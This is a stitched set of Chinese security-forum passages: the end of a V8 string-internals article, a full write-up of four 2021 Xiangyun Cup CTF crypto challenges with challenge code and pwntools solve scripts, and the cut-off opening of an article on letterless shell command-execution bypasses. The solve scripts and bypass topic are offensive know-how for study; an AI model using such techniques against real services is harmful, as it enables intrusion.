23. - length: 8
24. 0: 0x00a369d429a1 <FixedArray[8]>
25. 1: 0x00a369d428c1 <String[#24]: How9are9you9doing9today?>
26. 2: 0x00a369d428a9 <String[#3]: str>
27. 3: 0x0233195eba31 <String[#5]: split>
28. 4: 0x00a369d42901 <String[#1]: 9>
29. 5: 0x00a369d428e9 <String[#1]: n>
30. 6: 0x0233195f3699 <String[#7]: console>
31. 7: 0x0233195f2cd9 <String[#3]: log>
上述代码中，第 1-4 行代码读取字符串 “How9are9you9doing9today?” 并保存到 r2 寄存器中；
第 5-6 行代码获取字符串方法 split 并保存到 r1 寄存器中；
第 7-8 行代码获取 separator 字符串并保存到 r3 寄存器中。测试用例的 separator 是 ‘9’。
第 9 行代码 CallNoFeedback 调用 split 方法，并传递 r2、r3 两个参数给 split 方法。
**技术总结**
**（1）** 多数情况下，split 方法由 runtime 实现；
**（2）** v8 中字符串分为单字节和双字节两种；
**（3）** 间接字符串包括：ConsString、SlicedString、ThinString以及ExternalString。
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# 2021 祥云杯 Crypto-Write Up
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
芜湖，这次祥云杯又是神仙打架，密码学一共有四道题，个人觉得最后一道题目有意思一些。
## Random_RSA
from Crypto.Util.number import *
import gmpy2
import libnum
import random
import binascii
import os
flag=r'flag{}'
p=getPrime(512)
q=getPrime(512)
e=0x10001
n=p*q
ct=pow(flag,e,n)
print("n="+ n)
print("ct="+ ct)
dp=r''
seeds = []
for i in range(0,len(dp)):
seeds.append(random.randint(0,10000))
res = []
for i in range(0, len(dp)):
random.seed(seeds[i])
rands = []
for j in range(0,4):
rands.append(random.randint(0,255))
res.append(ord(dp[i]) ^ rands[i%4])
del rands[i%4]
print(str(rands))
print(res)
print(seeds)
题目不长，也意外的简单，值得一提的是题目介绍： **一把梭，好像不行哦** 。
然而好像就是一把梭的题目吖，没get到出题人的点喔，而且很奇怪的是，题目用的python2的环境，却直接在给flag字符串做整型pow操作，属实奇怪。
回到题目本身，倒也没有什么好说的，给了seeds，我们利用每个seeds生成四个随机数，用第四个随机数异或res的输出，然后ord一下，就能得到dp的一个数字，最后拼起来就能获得dp了。至于已知e,n,dp三个参数解密c获得明文，这里就不再赘述了，
**一把梭** 的事。
from Crypto.Util.number import *
import gmpy2
import random
import binascii
import os
seeds=[...]
dps=[]
res = [...]
for i in range(0, len(res)):
random.seed(seeds[i])
rands = []
for j in range(0,4):
rands.append(random.randint(0,255))
dps.append(res[i]^rands[i%4])
dp = int(''.join(chr(i) for i in dps))
n=...
ct=...
e=0x10001
def rsa_nedp(n,e,dp):
for i in range(1,e):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)/i)+1)==0:
p=((dp*e-1)/i)+1
q=n/(((dp*e-1)/i))+1
return p,q
p,q = rsa_nedp(n,e,dp)
d = inverse(e,p-1)
print(long_to_bytes(pow(ct,d,p)))
最后这里解密flag直接用p了，（单纯懒，少写一个字符是一个字符了）
## Guess
from Crypto.Util.number import (
bytes_to_long,
getPrime,
long_to_bytes,
getRandomNBitInteger,
)
import random
import hashlib
from math import gcd
import socketserver
KEYSIZE = 512
WELCOME = "welcome to my funny challenge !!! Can you guess right 32 times in a row? "
String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz"
def exgcd(a, b):
if b == 0:
return 1, 0, a
else:
x, y, q = exgcd(b, a % b)
x, y = y, (x - (a // b) * y)
return x, y, q
def invert(a,p):
x, y, q = exgcd(a,p)
if q != 1:
raise Exception("No solution.")
else:
return (x + p) % p
def lcm(a,b):
return a*b // gcd(a,b)
def proof_of_work():
STR = "".join([String[random.randint(0, len(String) - 1)] for _ in range(16)])
HASH = hashlib.sha256(STR.encode()).hexdigest()
return STR[:4], STR[4:], HASH
def keygen():
# part 1
p, q = getPrime(KEYSIZE), getPrime(KEYSIZE)
n = p * q
g = n + 1
LAMBDA = lcm(p - 1, q - 1)
# part 2
_key = open("key", "r").read()
key = []
for i in _key.split("\n"):
for j in i[1:-1].split(" "):
if int(j) not in key:
key.append(int(j))
assert len(key) == 80
#assert key[0] == 119 and key[1] == 241 and key[2] == 718 and key[3] == 647
return n, g, LAMBDA, key
def enc(n, g, m):
while 1:
r = random.randint(2, n - 1)
if gcd(r, n) == 1:
break
c = (pow(g, m, n ** 2) * pow(r, n, n ** 2)) % (n ** 2)
return c
def dec(n, g, LAMBDA, c):
L1 = (pow(c, LAMBDA, n ** 2) - 1) // n
L2 = (pow(g, LAMBDA, n ** 2) - 1) // n
m = (invert(L2, n) * L1) % n
return m
class server(socketserver.BaseRequestHandler):
def _recv(self):
data = self.request.recv(1024)
return data.strip()
def _send(self, msg, newline=True):
if isinstance(msg, bytes):
msg += b"\n"
else:
msg += "\n"
msg = msg.encode()
self.request.sendall(msg)
def handle(self):
# print("Service start.")
# START, END, HASH = proof_of_work()
# self._send("SHA-256(?+{}) == {}".format(END, HASH))
# RCV = self._recv().decode()
# if RCV != START:
# return
# flag = open("flag", "rb").read()
# self._send(WELCOME)
# step 1. keygen
for _ in range(32):
self._send("round " + str(_+1))
n, g, LAM, KEY = keygen()
self._send("Step 1 - KeyGen. This is my public key.")
self._send("n = " + str(n))
self._send("g = " + str(g))
# step 2. Phase 1
self._send(
"Step 2 - Phase 1. Now, you can give me one ciphertexts,I will return the corresponding plaintext."
)
self._send("Please give me one decimal ciphertext.")
cipher = int(self._recv().decode())
print(cipher)
plaintext = str(dec(n, g, LAM, cipher))
self._send("This is the corresponding plaintext.")
self._send(plaintext)
# step 3. challenge
self._send(
"Step 3 - Challenge. Now, you must give me two decimal plaintexts(m0,m1), I will encry them and return a ciphertext randomly"
)
self._send("Give me m0.")
plaintext1 = int(self._recv().decode())
self._send("Give me m1.")
plaintext2 = int(self._recv().decode())
if (
plaintext1 <= 2
or plaintext2 <= 2
or len(bin(plaintext1)) != len(bin(plaintext2))
):
return
R = 2 * random.randint(0, 39)
I = random.randint(0, 1)
cipher1 = enc(n, g, plaintext1 * plaintext2 * KEY[R])
cipher2 = enc(n, g, plaintext1 * plaintext2 * KEY[R + 1])
self._send("This is a ciphertext.")
self._send(str([cipher1, cipher2][I]))
# step 4. Phase 2
self._send(
"Step 4 - Phase 2. Now, you can give me some ciphertexts,I will return the corresponding plaintext.But you can not give me the ciphertext that I give you in step 3."
)
self._send("Please give me one decimal ciphertext ")
cipher = int(self._recv().decode())
plaintext = str(dec(n, g, LAM, cipher))
if int(plaintext) == plaintext1 * plaintext2 * KEY[R] or int(plaintext) == plaintext1 * plaintext2 * KEY[R+1]:
print(plaintext)
return
self._send("This is the corresponding plaintext.")
self._send(plaintext)
# step.5 Guess
self._send(
"Step 5 - Guess. You must tell me which ciphertext was I give you in step 3, 0 or 1(m0 -> c0 , m1 -> c1)?"
)
Guess = int(self._recv().decode())
if Guess == I:
self._send("Good! You are right")
else:
self._send("Sorry!")
return
self._send(flag)
class ForkedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
if __name__ == "__main__":
HOST, PORT = "0.0.0.0", 10001
server = ForkedServer((HOST, PORT), server)
server.allow_reuse_address = True
server.serve_forever()
这道题代码还挺长的，不过并不难看懂。
首先server类上面的是定义的enc和dec，其实就是paillier密码系统，不熟悉的读者可以移步我的这一片[文章](https://www.anquanke.com/post/id/204720)。
然后这道题目不知道是不是非预期了，因为题目给的hint我并没有到。step2的交互我也没有利用。（太奇怪了，预期该是啥样呢）
由于题目用的pailliar密码系统，具有同态（竟然说不上是乘法同态还是加法同态，只能说两个明文之和的密文，是两个明文分别的密文之积）
我们看到step4-5
题目向我们要两个明文plaintext1和plaintext2，然后加密的内容为
cipher1 = enc(n, g, plaintext1 * plaintext2 * KEY[R])
cipher2 = enc(n, g, plaintext1 * plaintext2 * KEY[R + 1])
由于plaintext1和plaintext2可控，而两条密文的唯一区别是KEY的内容不一样。然后题目加密后随机返回一条，让我们猜返回的是哪个。
我们可以看到，这加密的明文唯一的区别就是用的是KEY[R]和KEY[R+1]，而R = 2 * random.randint(0, 39)，是一个偶数。
那么这里我们选择“炼丹”：
首先我们可以利用同态获取到实际的KEY：题目在step3发送密文cipher后，在step4会帮我们解密一条数据，但是这条数据不能是服务器加密的那两条密文之一，那么，我们就给他cipher
* enc(5)，这样他就会解密后并返回plaintext1 * plaintext2 * KEY[R] + 5 或者 plaintext1 *
plaintext2 * KEY[R+1] + 5, 我们再处理一下（不处理问题也不大），减掉5，除掉plaintext1 *
plaintext2，就可以获取一个KEY_i 了。
然后我们到step5，我们只知道了一个KEY_i，但是不知道它具体的位置，我们直接发送0，如果返回正确，那么我们知道，这个KEY_i
在偶数位，如果返回错误，服务断掉，那么我们知道，这个KEY_i 在奇数位。那么，由于服务端的KEY序列是固定的，那么我们就开始炼丹咯。
我们构造两个数组，一个存奇数位，一个存偶数位。每次连上去，我们解密得到一个KEY_i，如果这个KEY_i
在我们的数组里，我们就能够直接返回正确答案，如果不在，我们就”炼“，猜对了，放进数组，继续猜，猜错了，放进数组，重新连。（再非不过80次连接）
from Crypto.Util.number import (
bytes_to_long,
getPrime,
long_to_bytes,
getRandomNBitInteger,
)
import random
import hashlib
KEYSIZE = 512
WELCOME = "welcome to my funny challenge !!! Can you guess right 32 times in a row? "
String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz"
from math import gcd
def exgcd(a, b):
if b == 0:
return 1, 0, a
else:
x, y, q = exgcd(b, a % b)
x, y = y, (x - (a // b) * y)
return x, y, q
def invert(a,p):
x, y, q = exgcd(a,p)
if q != 1:
raise Exception("No solution.")
else:
return (x + p) % p
def lcm(a,b):
return a*b // gcd(a,b)
def proof_of_work():
STR = "".join([String[random.randint(0, len(String) - 1)] for _ in range(16)])
HASH = hashlib.sha256(STR.encode()).hexdigest()
return STR[:4], STR[4:], HASH
def enc(n, g, m):
while 1:
r = random.randint(2, n - 1)
if gcd(r, n) == 1:
break
c = (pow(g, m, n ** 2) * pow(r, n, n ** 2)) % (n ** 2)
return c
def dec(n, g, LAMBDA, c):
L1 = (pow(c, LAMBDA, n ** 2) - 1) // n
L2 = (pow(g, LAMBDA, n ** 2) - 1) // n
m = (invert(L2, n) * L1) % n
return m
from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
#context.log_level = 'debug'
def proof_of_work(sh):
sh.recvuntil("?+")
suffix = sh.recvuntil(')').decode("utf8")[:-1]
log.success(suffix)
sh.recvuntil("== ")
cipher = sh.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendline(proof)
vanish=[]
#奇
s=[]
#偶
ss=[]
for _ in range(80):
sh=remote("47.104.85.225","57811")
proof_of_work(sh)
while True:
tmp = sh.recvuntil("n = ")
n = int(sh.recvuntil("\n")[:-1])
sh.recvuntil("g = ")
g = int(sh.recvuntil("\n")[:-1])
sh.recvuntil("decimal ciphertext.\n")
sh.sendline("123")
sh.recvuntil("Give me m0.\n")
sh.sendline("5")
sh.recvuntil("Give me m1.\n")
sh.sendline("5")
sh.recvuntil("This is a ciphertext.\n")
c = int(sh.recvuntil("\n")[:-1])
sh.recvuntil("Please give me one decimal ciphertext \n")
sh.sendline(str((enc(n,g,5)*c)%(n**2)))
sh.recvuntil("This is the corresponding plaintext.\n")
m = (int((sh.recvuntil("\n")[:-1]))-5)//25
sh.recvuntil("0 or 1(m0 -> c0 , m1 -> c1)?\n")
if m in s:
sh.sendline('1')
tmp = sh.recvuntil("\n")
elif m in ss:
sh.sendline('0')
tmp = sh.recvuntil("\n")
else:
sh.sendline('1')
tmp = sh.recvuntil("\n")
if b"Good! You are right" in tmp:
s.append(m)
elif b"Sorry" in tmp:
ss.append(m)
sh.close()
break
print(s)
print(ss)
## myRSA
# myRSA
from Crypto.Util.number import getPrime,bytes_to_long as b2l
from math import gcd
import hashlib
import random
import socketserver
KEYSIZE = 512
alpha = 2.0314159265358979
WELCOME = 'Welcome to use my better RSA!!!!!!So, what do you want now?'
menu = '1. encry \n2. getflag\n3. exit'
String = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz'
def proof_of_work():
STR = ''.join([String[random.randint(0,len(String)-1)] for _ in range(16) ])
HASH = hashlib.sha256(STR.encode()).hexdigest()
return STR[:4],STR[4:],HASH
def key_gen():
while True:
p,q = getPrime(KEYSIZE),getPrime(KEYSIZE)
e = 0x10001
if gcd(e,(p-1)*(q-1)):
break
key = [getPrime(int(KEYSIZE*alpha)) for _ in range(2)]
return (p,q,e),key
# encrypto
def encry(message,key,p,q,e):
k1,k2 = key[0],key[1]
x = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1)
y = 2*p*q + p + q
z = k1 + k2
c = pow(b2l(message),e,p*q)
return x * c + y * c + z
# get flag
def getflag(flag,key,p,q,e):
return encry(flag,key,p,q,e)
class server(socketserver.BaseRequestHandler):
def _recv(self):
data = self.request.recv(1024)
return data.strip()
def _send(self, msg, newline=True):
if isinstance(msg , bytes):
msg += b'\n'
else:
msg += '\n'
msg = msg.encode()
self.request.sendall(msg)
def handle(self):
START,END,HASH = proof_of_work()
self._send('SHA-256(?+{}) == {}'.format(END,HASH))
RCV = self._recv().decode()
if RCV != START:
return
self._send("I'm a CryptoRookie,so my Crypto system take time, please wait a minute XD!")
(p,q,e),key = key_gen()
flag = b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
self._send(WELCOME)
self._send('This is my public key:\nn = {}\ne = {}'.format(str(p*q),str(e)))
for _ in range(16):
self._send(menu)
COI = int(self._recv().decode())
if COI == 1 :
self._send('Give me your message')
message = self._recv()
self._send('Your encry message:')
self._send(str(encry(message,key,p,q,e)))
elif COI == 2:
self._send('This is your favourite:\n')
self._send(str(encry(flag,key,p,q,e)))
elif COI == 3:
self._send('Bye~')
break
class ForkedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
if __name__ == "__main__":
HOST, PORT = '0.0.0.0', 10001
server = ForkedServer((HOST, PORT), server)
server.allow_reuse_address = True
server.serve_forever()
这道题，emmm，也是奇怪的加密方式，
def encry(message,key,p,q,e):
k1,k2 = key[0],key[1]
x = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1)
y = 2*p*q + p + q
z = k1 + k2
c = pow(b2l(message),e,p*q)
return x * c + y * c + z
题目提供提供十六次交互，它可以帮你加密，但每次加密用的z随机
x * c + y * c + z =( x+y )* c + z
其中( x+y ) = ( p+q )^3 – ( p+q )^2 + ( p+q ) – 4 * n
那么我们发送明文 ’\x01’ 过去，就能得到enc = x + y + z，所以 enc + 4 * n = (p+q)^3 – (p+q)^2 +
(p+q) + z
我们可以将其看作关于（p+q）的方程 f(x) ，由于z不知道，没法根据返回值解一个具体的值x。
但是算一下长度，(p+q)^3 有 513 * 3 = 1539 bit，z 才
1024bit左右，相对比较小。那么我们直接不管z，去解方程（这里我是用2分法去逼近的），然后我们可以得到一个大概的值。
有了大概的 x ≈ (p+q)，再利用n，就能得到一个大概的p值，
有了大概的p值，我们可以本地起一组数据看看和真正的p值差多少，可以发现就差小几万，那么我们直接一手small_roots恢复p。p，q都恢复了，我们直接交互拿到flag的密文
( x + y) * pow(flag, e, n) + z
直接整除 (x + y) 得到pow(flag, e, n)，（z太小了，整除就给消没了），后面，rsa解密，得到flag。
P.S.不懂出题人干嘛搞一个genkey浪费时间，有啥必要么，还是说，又又又又又又又又又又又又非预期了？确实没用到16次交互。
#交互拿到数据a = x + y + z; c = pow(flag,e,n) * (x + y) + z
from Crypto.Util.number import *
def f(x):
return x**3 - x**2 + x + 4*n
n = ...
e = 65537
a = ...
c = ...
floor = 0
sky = 2**1041
while floor+1 < sky:
mid = (floor + sky) // 2
if f(mid) < a:
floor = mid
else:
sky = mid
import gmpy2
p_sub_q = gmpy2.iroot(int(mid**2-4*n),int(2))[0]
pw = (mid-p_sub_q)//2
N = n
pbar = pw
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
ff = int(pbar) + x
x0 = ff.small_roots(X=2^40, beta=0.4)[0]
p = int(int(pbar) + x0)
n = int(n)
q = n // p
tmp = f(p+q)
c //= tmp
print(long_to_bytes(pow(c,inverse(e,(p-1)*(q-1)),n)))
ok，终于来到最有意思的一题了，也是足足做了我快5个小时（虽然中途思路断了的时候去把XMAN结营赛的密码学赛题AK了下）
## secret_share
#! /usr/bin/env python
from libnum import n2s, s2n
from random import getrandbits
from hashlib import sha256
import SocketServer
from secret import flag
p, g = 0xb5655f7c97e8007baaf31716c305cf5950a935d239891c81e671c39b7b5b2544b0198a39fd13fa83830f93afb558321680713d4f6e6d7201d27256567b8f70c3, \
0x85fd9ae42b57e515b7849b232fcd9575c18131235104d451eeceb991436b646d374086ca751846fdfec1ff7d4e1b9d6812355093a8227742a30361401ccc5577
def h2(m):
return int(sha256(m).hexdigest(), 16)
def key_gen(nbits):
s = getrandbits(nbits) % p
while s.bit_length() < nbits - 2:
s = getrandbits(nbits) % p
pk = pow(g, s, p)
return pk, s
def enc(m, pk):
m = s2n(m)
e, v = getrandbits(256), getrandbits(256)
E, V = pow(g, e, p), pow(g, v, p)
s = v + e * h2(n2s(E) + n2s(V))
c = m * pow(pk, e + v, p) % p
cap = (E, V, s)
return c, cap
def rk_gen(sk, pki, group=9):
x, r = getrandbits(512) % p, getrandbits(512) % p
prefix = n2s(pow(g, x * sk, p)).rjust(64, '\x00')
encoder = [1, -pow(pki, x * sk, p) % p]
for i in range(1, group + 1):
pkj = getrandbits(512)
new_encoder = [1]
cur = pow(pkj, x * sk, p)
for j in range(1, i + 1):
new_encoder.append((encoder[j] + (-1) * cur * encoder[j - 1]) % p)
new_encoder.append(encoder[i] * cur * (-1) % p)
encoder = new_encoder
encoder[-1] += r
dd = h2(prefix + n2s(r).rjust(64, '\x00')) | 1
rk = sk * dd
return rk, encoder[1:], prefix
def re_enc(rk, cipher):
c, (E, V, s) = cipher
E_ = pow(E, rk, p)
V_ = pow(V, rk, p)
s_ = s * rk % p
return c, (E_, V_, s_)
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
pass
class EncHandler(SocketServer.BaseRequestHandler):
def handle(self):
self.request.sendall("Welcome to our netdisk system! Our system store only users' ciphertext\n")
self.request.sendall("Now you can choose what you wanna do\n")
self.request.sendall("1. generate your key\n2. start challenge\n2. get the ciphertext")
pk_of_one_user, sk_of_one_user = key_gen(512)
cipher = enc(flag, pk_of_one_user)
pk, sk = key_gen(512)
while 1:
mul = 1
self.request.sendall('Input your choice\n')
self.request.sendall("choice>")
choice = self.request.recv(16).strip()
if choice == '1':
self.request.sendall('Please take good care of it!\n' + hex(pk) + ',' + hex(sk) + '\n')
elif choice == '2':
group_list = [32, 64, 128, 256]
for group in group_list:
m = getrandbits(200)
plaintext = n2s(m)
cur_cipher = enc(plaintext, pk_of_one_user)
rk, encoder, prefix = rk_gen(sk_of_one_user, pk, group=group)
mul *= rk
mul %= p
new_cipher = re_enc(rk, cur_cipher)
self.request.sendall('The cipher shared to you\n' + str(new_cipher) + '\n')
self.request.sendall('prefix, encoder = ' + str((encoder, prefix.encode('hex'))) + '\n')
ans = self.request.recv(1024).strip()
if int(ans, 16) != m:
exit(1)
self.request.sendall('You are a clever boy! Now I can share you some other information!\n' + hex(mul) + '\n')
elif choice == '3':
self.request.sendall(str(cipher) + '\n')
exit(1)
else:
continue
if __name__ == "__main__":
HOST, PORT = "0.0.0.0", 1213
server = ThreadedTCPServer((HOST, PORT), EncHandler)
server.serve_forever()
还好，也就百来行，代码量不大，
我们以目标驱使，找到获取flag的地方，cipher = enc(flag, pk_of_one_user)
看到这个pk_of_one_user，
def key_gen(nbits):
s = getrandbits(nbits) % p
while s.bit_length() < nbits - 2:
s = getrandbits(nbits) % p
pk = pow(g, s, p)
return pk, s
pk_of_one_user, sk_of_one_user = key_gen(512)
基于离散对数问题的公私钥对 pk ≡ g^{sk} (mod p)
然乎看到enc的加密方式
def enc(m, pk):
m = s2n(m)
e, v = getrandbits(256), getrandbits(256)
E, V = pow(g, e, p), pow(g, v, p)
s = v + e * h2(n2s(E) + n2s(V))
c = m * pow(pk, e + v, p) % p
cap = (E, V, s)
return c, cap
可以化为式子：
那么想获取flag，就要搞到这个私钥sk咯，看看怎么能搞到。
### **第一目标：拿到sk**
可以看到交互提供三个功能，第一个，获取你自己的公私钥对 pk，sk
再看下第三个，返回flag的密文，
然后第二个比较长，核心功能也就在这里了，
group_list = [32, 64, 128, 256]
for group in group_list:
m = getrandbits(200)
plaintext = n2s(m)
cur_cipher = enc(plaintext, pk_of_one_user)
rk, encoder, prefix = rk_gen(sk_of_one_user, pk, group=group)
mul *= rk
mul %= p
new_cipher = re_enc(rk, cur_cipher)
self.request.sendall('The cipher shared to you\n' + str(new_cipher) + '\n')
self.request.sendall('prefix, encoder = ' + str((encoder, prefix.encode('hex'))) + '\n')
ans = self.request.recv(1024).strip()
if int(ans, 16) != m:
exit(1)
流程描述：
他会生成一个随机数m，
然后它的公钥加密m得到cur_cipher，
然后将它的私钥和我们的公钥放进rk_gen这个函数，会得到 rk, encoder, prefix
然后mul = mul * rk % p，
然后用rk，re_enc这个cur_cipher
然后把re_enc后的密文，encoder, prefix 发送给我们。
然后然我们解密m，对了继续，错了拜拜。
循环四次，都通过返回给你mul。
整理逻辑。如果我们都通过了，就能拿到 mul = rk_1 * sk * rk_2 * sk * rk_3 sk * rk_4 % p
有了这个mul，有啥意义么？这里还看不出来，我们继续往前走先，不过有一个问题很明确，既然出题人就这么布置了，我们当然是需要解密m了。
### **第二目标，解密m**
想要解密m，我们相关信息只有re_enc后的cipher，当前轮次的encoder, prefix
看看这个re_enc
def re_enc(rk, cipher):
c, (E, V, s) = cipher
E_ = pow(E, rk, p)
V_ = pow(V, rk, p)
s_ = s * rk % p
return c, (E_, V_, s_)
可以发现，整个函数都没有操作c，就更新了一下E, V, s
那么更新一下我们手里的信息，
就这么多了，我们再去看看返回encoder, prefix 的 rk_gen函数，
def rk_gen(sk, pki, group=9):
x, r = getrandbits(512) % p, getrandbits(512) % p
prefix = n2s(pow(g, x * sk, p)).rjust(64, '\x00')
encoder = [1, -pow(pki, x * sk, p) % p]
for i in range(1, group + 1):
pkj = getrandbits(512)
new_encoder = [1]
cur = pow(pkj, x * sk, p)
for j in range(1, i + 1):
new_encoder.append((encoder[j] + (-1) * cur * encoder[j - 1]) % p)
new_encoder.append(encoder[i] * cur * (-1) % p)
encoder = new_encoder
encoder[-1] += r
dd = h2(prefix + n2s(r).rjust(64, '\x00')) | 1
rk = sk * dd
return rk, encoder[1:], prefix
先不管其他的，看到最下面，rk = sk * dd
我们回想到 mul = rk_1 * sk * rk_2 * sk * rk_3 sk * rk_4 % p ，
那么可以转化为 mul = sk^4 * dd1 * dd2 * dd3 * dd4 % p ，
有了dd的product，那么我们再在模p下给sk^4开个四次根就能拿到sk了！
而 dd = h2(prefix + n2s(r).rjust(64, ‘\x00’)) | 1，其中prefix已知，所以目标很明确
### 第三目标，获取r
我们能够注意到，返回给我们的encder与r相关， 其中encoder[-1] += r，所以我们需要恢复出原来的encoder，
那就得从头看这个函数了，我们首先看到，prefix = n2s(pow(g, x * sk, p)).rjust(64,
‘\x00’)，其中x是未知随机数，sk是服务端公钥，
然后初始 encoder = [1, -pow(pki, x * sk, p) % p]， **划重点**
，需要注意到，这里的pki，用的是再step1中给我们的pk，我们是知道其对应的sk的！我们把自己的sk记为ski，避免搞混，那么式子：
就只差一个 ski ，而这个ski我们是已知的，所以我们就获得了初始 encoder = [1, -pow(prefix, ski, p) % p]
核心的迭代来了
for i in range(1, group + 1):
pkj = getrandbits(512)
new_encoder = [1]
cur = pow(pkj, x * sk, p)
for j in range(1, i + 1):
new_encoder.append((encoder[j] + (-1) * cur * encoder[j - 1]) % p)
new_encoder.append(encoder[i] * cur * (-1) % p)
encoder = new_encoder
cur = pow(pkj, x * sk, p)，pkj是一个随机数，所以cur显然无法直接得到，然后是循环里的
new_encoder.append((encoder[j] + (-1) * cur * encoder[j – 1]) % p)
走出后还来一下 new_encoder.append(encoder[i] * cur * (-1) % p)
这里建议画个美丽的图会稍微清晰一些
可以看到，对于cur2那一行，在我们知道 x 的前提下，我们是能够通过第二项获取到 （cur1 + cur2） 的值的，
在我们知道（cur1 + cur2） 的值的前提下，我们是能够获得第三项中 （cur1 * cur2）的值的。
有了（cur1 * cur2）的值，我们再将他乘以x，我们就获得了encoder最后一项的值了。
芜湖，起飞！（如果觉得就分析这么三轮还不够的化，可以再画第四轮，就很清晰了）
那么我们迎来了处理 encoder的核心解法，基本上可以宣布此题告破了。
我们只需要用题目给的 encoder 和 prefix，进行上述操作
encoder,prefix = ...
x = -pow(prefix,sk,p)%p
encoder_i=1
for i in encoder[:-1]:
encoder_i = (i-encoder_i*x)%p
r = (encoder[-1] - encoder_i*x)%p
from pwn import *
from random import getrandbits
from hashlib import sha256
from Crypto.Util.number import *
def n2s(n):
return long_to_bytes(n)
def s2n(n):
return bytes_to_long(n)
def h2(m):
return int(sha256(m).hexdigest(), 16)
def key_gen(nbits):
s = getrandbits(nbits) % p
while s.bit_length() < nbits - 2:
s = getrandbits(nbits) % p
pk = pow(g, s, p)
return pk, s
def enc(m, pk):
m = s2n(m)
e, v = getrandbits(256), getrandbits(256)
E, V = pow(g, e, p), pow(g, v, p)
s = v + e * h2(n2s(E) + n2s(V))
c = m * pow(pk, e + v, p) % p
cap = (E, V, s)
return c, cap
p, g = ...
#context.log_level = 'debug'
sh = remote("47.104.85.225","62351")
#sh = remote("0.0.0.0","1213")
sh.recvuntil("choice>")
sh.sendline("1")
sh.recvuntil("Please take good care of it!\n")
tmp = sh.recvuntil("\n")[:-1]
#获取自己的pk和sk
pk,sk = eval(tmp)
B=[]
sh.recvuntil("choice>")
sh.sendline("2")
for _ in range(4):
sh.recvuntil("The cipher shared to you\n")
tmp = sh.recvuntil("\n")[:-1]
#获取到 re_enc(m) 后给的 c, (E_, V_, s_)
c, (E_, V_, s_) = eval(tmp)
sh.recvuntil("prefix, encoder = ")
tmp = sh.recvuntil("\n")[:-1]
#利用 encoder,prefix 获取r，从而得到dd
encoder,prefix = eval(tmp)
prefixx = prefix.decode('hex')
prefix = int(prefix,16)
x = -pow(prefix,sk,p)%p
tmp=1
for i in encoder[:-1]:
tmp = (i-tmp*x)%p
r = (encoder[-1] - tmp*x)%p
prefix = n2s(pow(g, x * sk, p)).rjust(64, '\x00')
dd = h2(prefixx + n2s(r).rjust(64, '\x00')) | 1
B.append(dd)
dd_ = inverse(dd,p-1)
#有了dd，利用前面得到的c, E_ * V_ 解密m
m = inverse(pow(E_*V_,dd_,p),p)*c % p
sh.sendline(hex(m)[2:])
sh.recvuntil("You are a clever boy! Now I can share you some other information!\n")
tmp = sh.recvuntil("\n")[:-1]
#拿着通关后给的mul，待会去开根
mul = eval(tmp)
sh.recvuntil("choice>")
sh.sendline("3")
tmp = sh.recvuntil("\n")[:-1]
#获取flag密文相关的参数
c, (E, V, s) = eval(tmp)
#dd求逆乘以mul，把原来mul里的dd去掉，得到sk^4
for i in B:
mul = mul * inverse(i,p) % p
sk_4 = mul
sh.interactive()
拿到 sk^4 后要开根，这里我切到sagemath去直接用nth_root了
a,b = Mod(sk_4,p).nth_root(4,all=True)
tmp = pow(int(E*V),int(a),int(p))
m = c * inverse_mod(int(tmp),int(p)) % int(p)
print(long_to_bytes(m))
tmp = pow(int(E*V),int(b),int(p))
m = c * inverse_mod(int(tmp),int(p)) % int(p)
print(long_to_bytes(m))
b'flag{504d0411-6707-469b-be31-9868200aca95}'
b'\x9at\x03O\xbd;.\xb5\x97Tz$t2V\x9b\x92\xa8\x0c.O\x89V\x05\xbf\xb9\x0e\xfb\xfcRC\x8e\x948qB\xee\x92y\x02\xbf|\xf6Sq\x81\xdf;!\xd1\x9fmJ\xfb\x87#\xbb10\xa4t\xfd\xd4\x9a'
## 结语
整体来看，这次比赛的题目难度中等叭，第一题一把梭没啥好说的，第二题非预期的炼丹，也还行吧，赛后也没问着hint怎么用，不过第一次交互好像是用来获取lamda的，我直接用同态过check好像也是非预期了。第三题化二元方程为一元，然后二分（哦，求一下导可以知道后面是递增的所以能二分）去求一个大概解，也挺有意思的。不过最喜欢的还是最后一题，初看觉得整个代码的处理流程很冗长，但是一点点去将题目解析，将问题一点点规约下去，这种一点点拨开云雾见天日，守得云开见月明的感觉属实不错，而且难度也刚好在我的level，舒服了。 | 社区文章 |
## 前言
去年十二月份的时候我在先知上投稿了一篇[无字母数字命令执行黑魔法——shell脚本变量](https://xz.aliyun.com/t/11934)，讲了讲Linux下某些环境变量在某些特定情况下可以发挥的作用，但当时我写的时候其实并没有太过于把这个技巧放在心里，因为我当时觉得这种技巧也只可能在CTF题目作为一个有趣的考点进行考察，很难在实际渗透中发挥作用。
直到今年做ctfshow的极限命令执行的时候，学会了利用数字构造字母进行命令执行的方法，再到后来水群的时候有个师傅遇到了个问题，就是自己已经可以命令执行了，但输入的命令全都变成了小写，而某个想要执行的命令必须得大写，那时我就想到既然我都可以无字母数字rce了，解决大小写问题不是轻而易举？然后我才猛然发现其实shell脚本变量在真实的渗透中其实也是可以发挥作用的，在这里分享一下最近我学到的知识和思考。
## shell脚本中$的多种用法
和之前一样，首先介绍一下shell脚本中$的多种用法([参考](https://blog.csdn.net/ly_qiu/article/details/105765772))：
变量名 | 含义
---|---
